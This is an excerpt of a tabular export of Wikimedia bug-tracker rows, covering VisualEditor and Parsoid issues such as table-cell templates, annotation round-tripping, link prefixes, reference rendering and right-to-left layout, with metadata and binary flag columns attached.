+You really need to be parsing *after* template expansion and tracking all the text that the templates generate. That template should display as the chart and reference in the first column followed by a position in the second column, because that's what the wikitext the template generates says to do. Once the editor tries to edit any of those fields, the editor should be taken to the template editor. Displaying the output as a doublespaced item without any table boundaries that doesn't align with other entries is not the right answer to this problem.",,,1372791643,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,0,,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+248214,Templates that create multiple table cells don't work,and Parsoid. ;),,,1372788419,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+248209,Templates that create multiple table cells don't work,"An example from  http://en.wikipedia.org/wiki/5_O%27Clock_%28T-Pain_song%29:
+
+|{{singlechart|Australia|29|artist=T-Pain feat. Wiz Khalifa & Lily Allen|song=5 O'Clock}}
+
+The issue here is that there is a pipe in the page source while another pipe is emitted by Singlechart. If the pipe in the page source is removed this will work in both the PHP parser and .",,,1372788394,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248204,Templates that create multiple table cells don't work,My apologies for assuming that these two issues were related. Re-titling.,,,1372782463,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+248196,Templates that create multiple table cells don't work,"**kwwilliams** wrote:
+
+""This can be fixed by avoiding 2""? How exactly is the template supposed to generate a row header and two table cells while ""avoiding 2)""?",,,1372782364,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0
+248191,Templates that create multiple table cells don't work,"The problem here is 2), the extra | generated by Singlechart. The PHP parser flattens everything to a string, so it will eventually see '\n||' with one of those pipes generated by 2) and the other from 1). Parsoid on the other hand needs to keep track of where things came from, so sees those pipes as two td tags.
+
+This can be fixed by avoiding 2).",,,1372782107,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+248189,Templates that create multiple table cells don't work,"This is the same as bug 50366 - merging with that one.
+
+*** This bug has been marked as a duplicate of bug 50366 ***",,,1372781089,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+52577,VisualEditor: Reconsider CSS content munging,"As per http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Coords_not_displayed_in_title_when_open_in_VE , the coordinates move at the bottom of the page, where one is not expecting to find them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1372767420,1429615710.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-spssyaufehg6a576inro,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+446997,VisualEditor: Reconsider CSS content munging,"Indeed we did, this was done by the invaluable Ed in ee5b69772963c5d3f17b15742023cf33fc5dd48a.",,,1429615698,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-spssyaufehg6a576inro,task_subcomment,,True,c1,3,True,,,94,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+446011,VisualEditor: Reconsider CSS content munging,"Dunno what happened here, but all three of the subtasks seem to no longer be a problem. Did we kill this?",,,1429478089,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-spssyaufehg6a576inro,task_subcomment,,True,c1,3,True,,,93,,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+247630,VisualEditor: Reconsider CSS content munging,"CSS content munging in general is a real pain, and we should find a way around it.",,,1385376106,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spssyaufehg6a576inro,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+52549,VisualEditor: round-trip adjacent and nested annotations,"VisualEditor needs to preserve adjacent (even if identical) and additive elements that it internally treats as annotations. Right now it often removes nested annotations (bug 49755) or merges adjacent annotations (bug 49873, http://en.wikipedia.org/w/index.php?title=Bose%E2%80%93Einstein_condensate&diff=prev&oldid=562481552).
+
+Both will lead to a DOM diff and thus likely to a dirty wikitext diff.
+
+Note that this only applies to existing content- merging identical annotations in new content is fine.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372734720,1380845963.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-kazpxbs6hxscszn2mj4j,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+246146,VisualEditor: round-trip adjacent and nested annotations,This has been fixed for some time in the DM. Marking as such.,,,1380845963,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kazpxbs6hxscszn2mj4j,task_subcomment,,True,c1,3,True,,,13,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+246142,VisualEditor: round-trip adjacent and nested annotations,"Also, don't cut annotations. This is what I suspect happened here:
+http://en.wikipedia.org/w/index.php?title=List_of_Mystery_Science_Theater_3000_episodes&diff=prev&oldid=562488147",,,1372742791,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kazpxbs6hxscszn2mj4j,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0
+52539,./ still appearing in links.,"See https://en.wikipedia.org/w/index.php?title=Russkaya_Mysl&curid=38914039&diff=562427330&oldid=555891306
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50720",Medium,50.0,1372724400,1373020641.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xduyhafmy6kenmdf7cuh,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+245337,./ still appearing in links.,"
+
+*** This bug has been marked as a duplicate of bug 50720 ***",,,1373020641,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-xduyhafmy6kenmdf7cuh,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+245329,./ still appearing in links.,"Still getting this occurring. Examples
+
+
+https://en.wikipedia.org/w/index.php?title=Austropotamobius_pallipes&curid=3945333&diff=562783871&oldid=545518009
+https://en.wikipedia.org/w/index.php?title=Ron_Davies_(songwriter)&curid=31118393&diff=562723238&oldid=553701771
+https://en.wikipedia.org/w/index.php?title=Sibling_relationship&curid=22409572&diff=562636237&oldid=561958868
+https://en.wikipedia.org/w/index.php?title=Double_Rainbow_(viral_video)&curid=28129724&diff=562626607&oldid=560477885
+https://en.wikipedia.org/w/index.php?title=Roger_Mompesson&curid=39389398&diff=562625481&oldid=560045122
+(also changed a category link)",,,1372936732,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-xduyhafmy6kenmdf7cuh,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0
+245319,./ still appearing in links.,The visualeditor-needcheck tag also suggests that there was an issue in VE round-tripping. Reassigning to VE for investigation.,,,1372727544,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xduyhafmy6kenmdf7cuh,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+245312,./ still appearing in links.,"Roan has not been able to reproduce this with VE, and parsoid.wmflabs.org/_rt/en/Russkaya_Mysl?oldid=555891306 does not show this issue either.
+
+Maybe bug 50428 is related?",,,1372726643,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xduyhafmy6kenmdf7cuh,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+52526,VisualEditor: Permit removal of parent template while retaining subtemplate,"English Wikipedia editor notes that sometimes when parent templates are removed, a subtemplate (or two) should remain, such as with Template:Multiple issues (http://en.wikipedia.org/wiki/Template:Multiple_issues). It would be a nice feature to allow the parent cat to be removed without removing all parameter, or permitting them to be ""escalated"" into templates themselves.
+
+Realizing this is not likely to be a high priority, given more urgent issues, just putting in the request. :)
+
+See
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562454889#Can.27t_unwrap_template_within_template
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372715400,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-focb5kxme3jxk4n6xklr,task_description,open,True,c1,3,False,False,,0,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0
+52514,Complete and document VisualEditor's integration and plugin system,"We need an integration and plugin system for VisualEditor, both for extra tools (e.g. ""YouTube video node handler"") and tool over-rides (e.g. ""MediaWiki-specific H3 handler""), as well as a more generalised system to do init and integration.
+
+Enjoy.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372706340,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-eqiuslxuu3t7bxl7vmwb,task_description,open,True,c1,3,True,False,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+243758,Complete and document VisualEditor's integration and plugin system,"At this point, closing this bug is blocked on some reasonable documentation being available. Third parties that want to try to implement things and report what's missing functionality (or more likely, unclear because there's no documentation) would be very welcome. :-)",,,1387398780,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-eqiuslxuu3t7bxl7vmwb,task_subcomment,,True,c1,3,True,,,24,,1,0,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0
+243752,Complete and document VisualEditor's integration and plugin system,"Change 75271 merged by jenkins-bot:
+Infrastructure for loading plugins in the MW integration
+
+https://gerrit.wikimedia.org/r/75271",,,1374867310,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-eqiuslxuu3t7bxl7vmwb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243744,Complete and document VisualEditor's integration and plugin system,"Change 75271 had a related patch set uploaded by Catrope:
+Infrastructure for loading plugins in the MW integration
+
+https://gerrit.wikimedia.org/r/75271",,,1374549781,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-eqiuslxuu3t7bxl7vmwb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52508,VisualEditor: Close icon shown at 2x size and so truncated,"Screenshot
+
+See screenshot - monobook, windows 7, firefox 22.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11469}",Medium,50.0,1372699920,1377830355.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-potyqd62zizy6tkvf2ak,task_description,declined,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243405,VisualEditor: Close icon shown at 2x size and so truncated,"I'm going to close this as a one-off appearance of HiDPI icons for a user - if it's repeated, please re-open.",,,1377830355,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-potyqd62zizy6tkvf2ak,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+52505,VisualEditor: Share ref / references re-rendering code with Parsoid,">>! In T52505#562403, @GWicke wrote:
+> We have a relatively complete DOM-based references rendering implementation in Parsoid that could be reused by VisualEditor. This would avoid us implementing two versions of essentially the same code, and with combined effort should result in a better implementation.
+
+--------------------------
+
+**See Also**:
+{T52474}",Medium,50.0,1372698960,1578935420.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_description,invalid,True,c1,3,True,False,False,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+1424138,VisualEditor: Share ref / references re-rendering code with Parsoid,">>! In T52505#5795834, @Izno wrote:
+> Is this exact task still going to happen given PHP Parsoid? (One system being Javascript and the other PHP now.)
+
+Sadly, no.",,,1578935420,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,341,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,1
+1423582,VisualEditor: Share ref / references re-rendering code with Parsoid,Is this exact task still going to happen given PHP Parsoid? (One system being Javascript and the other PHP now.),,,1578869465,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,False,,,340,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0
+243298,VisualEditor: Share ref / references re-rendering code with Parsoid,"Indeed, basically the logic we currently have (or call from) ve.ce.MWReferenceListNode and ve.ce.MWReferenceNode. Converting data-mw into a the dom as it should be given to the browser (html tag name, class name, children composition and attributes etc.). And for ref nodes the sequence between different ones as well. Though VE may have to run the logic more often (where parsoid presumably only runs it once per document) it'd be nice to share this logic.
+
+The HTML rendered by MediaWiki extension tags and/or parser functions should not be hardcoded in VE. Perhaps in a VE plugin, but since it'd be the same for Parsoid as for VE, it'd be nice if this can be shared so that a MediaWiki extension that wants to have logic for Parsoid/VE only needs 1 type of plugin that both can use.",,,1372712317,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+243291,VisualEditor: Share ref / references re-rendering code with Parsoid,I would not recommend to hack something around the numbering we give you. We should rather share the ref / references rendering code so that you can simply call that code to fully renumber refs and re-render the references blocks.,,,1372711488,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,0,,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+243285,VisualEditor: Share ref / references re-rendering code with Parsoid,"Parsoid gives us a DOM with references already numbered, so we probably want to use their numbering and reference list as a base, then update that as required.",,,1372700082,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+243276,VisualEditor: Share ref / references re-rendering code with Parsoid,"Possibly also relevant for bug 50474, in case that turns out to be hard to fix in your current implementation.",,,1372699315,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+243268,VisualEditor: Share ref / references re-rendering code with Parsoid,"Sorry, somehow managed to hit return.
+
+We have a relatively complete DOM-based references rendering implementation in Parsoid that could be reused by VisualEditor. This would avoid us implementing two versions of essentially the same code, and with combined effort should result in a better implementation.",,,1372699118,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ag2p4jtrgjagpo2qegcu,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+52490,VisualEditor: Link input widget is not oriented for RTL,"A very simple mockup that I made in GIMP to show how it is supposed to look
+
+VisualEditor: Link inspector is not oriented for RTL.
+
+The arrow icon is supposed to point to the right, and be placed in the right corner, separated by a vertical line.
+
+The title is supposed to be aligned to the right.
+
+The chain icon is supposed to be next to the title on its left side.
+
+The trash bin is supposed to be in the left corner.
+
+See the attached file for a very simple mock-up of how it is supposed to look (it is off by a few pixels here and there - I'm not much of a graphic designer).
+
+This bug is similar to bug 49613.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+//attachment link-inspector-rtl.png ignored as obsolete//",Medium,50.0,1372670160,1374495347.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-rou7bduh6enhafdxh2lv,task_description,resolved,True,c1,3,False,False,True,0,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+242468,VisualEditor: Link input widget is not oriented for RTL,The current layout is good. There's a mistake in my image. Marking as FIXED.,,,1374495347,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+242463,VisualEditor: Link input widget is not oriented for RTL,"En layout is currently:
+
+< (chain icon) 'Hyperlink'    (trash icon)
+
+He layout is currently:
+
+(trash icon)     '(Hyperlink in Hebrew)' (chain icon) >
+
+This is not quite Amir's design attached:
+
+(trash icon)     (chain icon) '(Hyperlink in Hebrew)' >",,,1374445202,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+242457,VisualEditor: Link input widget is not oriented for RTL,"Change 72056 abandoned by Mooeypoo:
+Layout fix for Link Surface in RTL
+
+Reason:
+This was fixed in another (much more massive) gerrit fix that was merged. Works in master.
+
